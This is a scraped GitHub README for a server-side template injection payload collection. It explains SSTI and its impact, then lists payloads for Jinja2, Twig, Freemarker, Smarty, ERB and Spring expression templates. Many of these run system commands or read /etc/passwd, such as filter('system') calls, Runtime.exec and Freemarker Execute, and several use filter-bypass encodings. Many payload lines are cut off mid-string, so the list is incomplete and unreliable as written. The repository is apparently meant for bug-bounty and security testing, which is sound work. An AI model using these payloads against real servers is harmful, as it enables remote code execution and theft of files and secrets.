Sign in

payloadbox / **ssti-payloads** Public

Notifications | Fork 128 | Star 598

Code | Issues | Pull requests | Actions | Projects | Security | Insights

master | Go to file | Code

- .github
- Intruder
- .gitignore
- LICENSE
- README.md

README | MIT license

Server Side Template Injection Payloads

awesome | Stars 598 | Forks 128 | repo size 8.19 kB | license MIT | issue/pull request issue, pull request or repo not found

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as

About

🎯 Server Side Template Injection Payloads

ismailtasdelen.medium.com

security | security-audit | web | code | injection | source | bounty | bugbounty | payload | payloads | websecurity | source-code-analysis | ssti | server-side-template-injection | code-security | bugbountytips | payloadbox

- Readme
- MIT license
- Activity
- Custom properties
- 598 stars
- 10 watching
- 128 forks

Report repository

data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection.

Impact :

Server-side template injection vulnerabilities can expose websites to a variety of attacks depending on the template engine in question and how exactly the application uses it. In certain rare circumstances, these vulnerabilities pose no real security risk. However, most of the time, the impact of server-side template injection can be catastrophic.

At the severe end of the scale, an attacker can potentially achieve remote code execution, taking full control of the backend server and using it to perform other attacks on internal infrastructure.

Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server.

Payloads :

```
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
```

Releases

No releases published

Sponsor this project

liberapay.com/ismailtasdelen

Packages

No packages published

Contributors 5

```
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()}} # Se
{{''.__class__.__base__.__subclasses__()[227]('
{% for key, value in config.iteritems() %}<dt>{
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Exec
[#assign ex = 'freemarker.template.utility.Exec
${"freemarker.template.utility.Execute"?new()("
{{app.request.query.filter(0,0,1024,{'options':
{{ ''.__class__.__mro__[2].__subclasses__()[40]
{{ config.items()[4][1].__class__.__mro__[2].__
{{''.__class__.mro()[1].__subclasses__()[396]('
{{config.__class__.__init__.__globals__['os'].p
{% for x in ().__class__.__base__.__subclasses_
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglo
{{'a'.getClass().forName('javax.script.ScriptEn
{{'a'.getClass().forName('javax.script.ScriptEn
{{'a'.getClass().forName('javax.script.ScriptEn
{{'a'.getClass().forName('javax.script.ScriptEn
{% for x in ().__class__.__base__.__subclasses_
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat e
${T(org.apache.commons.io.IOUtils).toString(T(j
```

References :

- 👉 https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection

- 👉 https://portswigger.net/research/server-side-template-injection
- 👉 https://www.indusface.com/learning/application-security/server-side-template-injection/

Cloning an Existing Repository (Clone with HTTPS)

```
root@ismailtasdelen:~# git clone https://github
```

Cloning an Existing Repository (Clone with SSH)

```
root@ismailtasdelen:~# git clone git@github.com
```

Donate!

Support the authors:

LiberaPay:

Donate